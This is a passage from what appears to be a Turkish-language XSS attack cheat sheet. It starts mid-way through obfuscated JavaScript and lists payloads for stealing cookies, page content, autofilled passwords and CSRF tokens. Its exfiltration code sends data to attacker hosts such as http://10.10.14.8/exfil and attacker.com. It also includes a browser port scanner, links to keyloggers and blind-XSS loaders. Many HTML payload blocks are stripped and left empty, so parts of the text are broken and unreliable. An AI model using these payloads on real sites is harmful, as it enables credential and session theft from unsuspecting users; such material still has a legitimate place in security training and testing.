((゚ー゚ == 3) + "_")[゚Θ゚] + (゚ω゚ノ + "_")[゚Θ゚] ゚ー゚ += ゚Θ゚ ゚Д゚[゚ε゚] = "\\" ゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)] o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ゚Д゚[゚o゚] = '"' ゚Д゚["_"]( ゚Д゚["_"]( ゚ε゚ + ゚Д゚[゚o゚] + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + (゚ー゚ + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚o゚] )(゚Θ゚) )("_") ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS yaygın yükler ### 1'de Birkaç Yük {{#ref}} steal-info-js.md {{#endref}} ### Iframe Tuzağı Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemlerini çal (formlarda gönderilen bilgiler dahil): {{#ref}} ../iframe-traps.md {{#endref}} ### Çerezleri Al ```javascript /?c="+document.cookie> ``` > [!NOTE] > Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer şanslıysanız. ### Sayfa İçeriğini Çal ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) ``` ### İç IP'leri Bulma ```html ``` ### Port Tarayıcı (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Otomatik doldurma şifreleri yakalama ```javascript Username:
Password:
``` Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir, istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır. ### Keylogger GitHub'da arama yaparak birkaç farklı tane buldum: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Ayrıca metasploit `http_javascript_keylogger` kullanabilirsiniz. ### CSRF token'larını çalmak ```javascript ``` ### PostMessage mesajlarını çalmak ```html ``` ### Servis Çalışanlarını Kötüye Kullanma {{#ref}} abusing-service-workers.md {{#endref}} ### Gölge DOM'a Erişim {{#ref}} shadow-dom.md {{#endref}} ### Poliglotlar {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} ### Kör XSS yükleri Ayrıca şunu da kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> >
Click Me For An Awesome Time "> "> {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Gizli İçeriğe Erişim [**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenmek mümkündür ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir: ```javascript // Do regex with flag flag = "CTF{FLAG}" re = /./g re.test(flag) // Remove flag value, nobody will be able to get it, right? flag = "" // Access previous regex input console.log(RegExp.input) console.log(RegExp.rightContext) console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` ### Brute-Force List {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} ## XSS Diğer güvenlik açıklarını istismar etme ### Markdown'da XSS Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirsiniz! Kontrol edin: {{#ref}} xss-in-markdown.md {{#endref}} ### XSS ile SSRF **Önbellek kullanan** bir sitede XSS mi elde ettiniz? Bu yükle birlikte Edge Side Include Injection ile **bunu SSRF'ye yükseltmeyi** deneyin: ```python ``` Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşın!\ Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### Dinamik oluşturulan PDF'de XSS Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\ Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir: {{#ref}} pdf-injection.md {{#endref}} ### Amp4Email'de XSS AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir. [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar. Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS dosya yükleme (svg) Aşağıdaki gibi bir dosyayı ( [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/) ) bir resim olarak yükleyin: ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 Content-Disposition: form-data; name="img"; filename="img.svg" Content-Type: image/svg+xml -----------------------------232181429808-- ``` ```html ``` ```html ``` ```svg